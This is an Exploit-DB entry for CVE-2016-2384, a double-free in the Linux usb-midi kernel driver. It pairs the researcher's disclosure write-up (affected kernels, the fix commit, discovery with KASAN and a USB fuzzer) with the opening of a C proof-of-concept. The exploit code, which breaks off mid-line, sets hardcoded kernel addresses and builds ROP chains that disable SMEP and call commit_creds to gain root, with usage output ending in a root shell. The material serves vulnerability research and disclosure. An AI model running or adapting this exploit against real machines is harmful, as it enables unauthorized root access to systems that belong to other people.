Exploit-DB #41999
Description: Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Privilege Escalation
Type: local
Platform: linux
Date: 2016-02-22
Author: Andrey Konovalov

Exploit:
Source: https://xairy.github.io/blog/2016/cve-2016-2384
Source: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-2384
Source: https://www.youtube.com/watch?v=lfl1NJn1nvo

Exploit-DB Note: This requires physical access to the machine, as well as local access on the system.

- - - 

This post describes an exploitable vulnerability (CVE-2016-2384 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384) in the usb-midi Linux kernel driver. The vulnerability is present only if the usb-midi module is enabled, but as far as I can see many modern distributions do this. The bug has been fixed upstream (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7).

The vulnerability can be exploited in two ways:

- Denial of service. Requires physical access (ability to plug in a malicious USB device). All the kernel versions seem to be vulnerable to this attack. I managed to cause a kernel panic on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic), Fedora 22 (4.1.5-200.fe22.x86_64) and CentOS 6 (2.6.32-584.12.2.e16.x86_64).

- Arbitrary code execution with ring 0 privileges (and therefore a privilege escalation). Requires both physical and local access (ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user). All the kernel versions starting from v3.0 seem to be vulnerable to this attack. I managed to gain root privileges on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic) and Fedora 22 (4.1.5-200.fe22.x86_64). All machines had SMEP turned on, but didn't have SMAP.

A proof-of-concept exploit (poc.c - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.c, poc.py - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.py) is provided for both types of attacks. The provided exploit uses a Facedancer21 (http://goodfet.sourceforge.net/hardware/facedancer21/) board to physically emulate the malicious USB device. The provided exploit bypasses SMEP, but doesn't bypass SMAP (though it might be possible to do). It has about 50% success rate (the kernel crashes on failure), but this can probably be improved. Check out the demo video (https://www.youtube.com/watch?v=lfl1NJn1nvo).

It should actually be possible to make the entire exploit for the arbitrary code execution hardware only and therefore eliminate the local access requirement, but this approach wasn't thoroughly investigated.

The vulnerability was found with KASAN (https://github.com/google/kasan) (KernelAddressSanitizer, a kernel memory error detector) and vUSBf (https://github.com/schumilo/vUSBf) (a virtual usb fuzzer).


--- poc.c ---
// A part of the proof-of-concept exploit for the vulnerability in the usb-midi
// driver. Meant to be used in conjuction with a hardware usb emulator, which
// emulates a particular malicious usb device (a Facedancer21 for example).
//
// Andrey Konovalov <andreyknvl@gmail.com>
//
// Usage:
//    // Edit source to set addresses of the kernel symbols and the ROP gadgets.
//    $ gcc poc.c -masm=intel
//    // Run N instances of the binary with the argument increasing from 0 to N,
//    // where N is the number of cpus on your machine.
//    $ ./a.out 0 & ./a.out 1 & ...
//    [+] starting as: uid=1000, euid=1000
//    [+] payload addr: 0x400b60
//    [+] fake stack mmaped
//    [+] plug in the usb device...
//    // Now plug in the device a few times.
//    // In one of the instances you will get (if the kernel doesn't crash):
//    [+] got r00t: uid=0, euid=0
//    # id
//    uid=0(root) gid=0(root) groups=0(root)

#define _GNU_SOURCE

#include <netinet/ip.h>

#include <assert.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#include <arpa/inet.h>

// You need to set these based on your kernel.
// To easiest way to obtain the addresses of commit_creds and prepare_kernel_cred
// is to boot your kernel and grep /proc/kallsyms for them.
// The easiest way to obtain the gadgets addresses is to use the ROPgadget util.
// Note that all of the used gadgets must preserve the initial value of the rbp
// register, since this value is used later on to restore rsp.
// The value of CR4_DESIRED_VALUE must have the SMEP bit disabled.

#define COMMIT_CREDS              0xffffffff810957e0L
#define PREPARE_KERNEL_CRED       0xffffffff81095ae0L

#define XCHG_EAX_ESP_RET          0xffffffff8100008aL

#define POP_RDI_RET               0xffffffff8118991dL
#define MOV_DWORD_PTR_RDI_EAX_RET 0xffffffff810fff17L
#define MOV_CR4_RDI_RET           0xffffffff8105b8f0L
#define POP_RCX_RET               0xffffffff810053bcL
#define JMP_RCX                   0xffffffff81040a90L

#define CR4_DESIRED_VALUE         0x407f0

// Payload. Saves eax, which holds the 32 lower bits of the old esp value,
// disables SMEP, restores rsp, obtains root, jumps back to the caller.

#define CHAIN_SAVE_EAX                  \
  *stack++ = POP_RDI_RET;               \
  *stack++ = (uint64_t)&saved_eax;      \
  *stack++ = MOV_DWORD_PTR_RDI_EAX_RET;

#define CHAIN_SET_CR4                   \
  *stack++ = POP_RDI_RET;               \
  *stack++ = CR4_DESIRED_VALUE;         \
  *stack++ = MOV_CR4_RDI_RET;           \

#define CHAIN_JMP_PAYLOAD               \
  *stack++ = POP_RCX_RET;               \
  *stack++ = (uint64_t)&payload;        \
  *stack++ = JMP_RCX;                   \

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred pre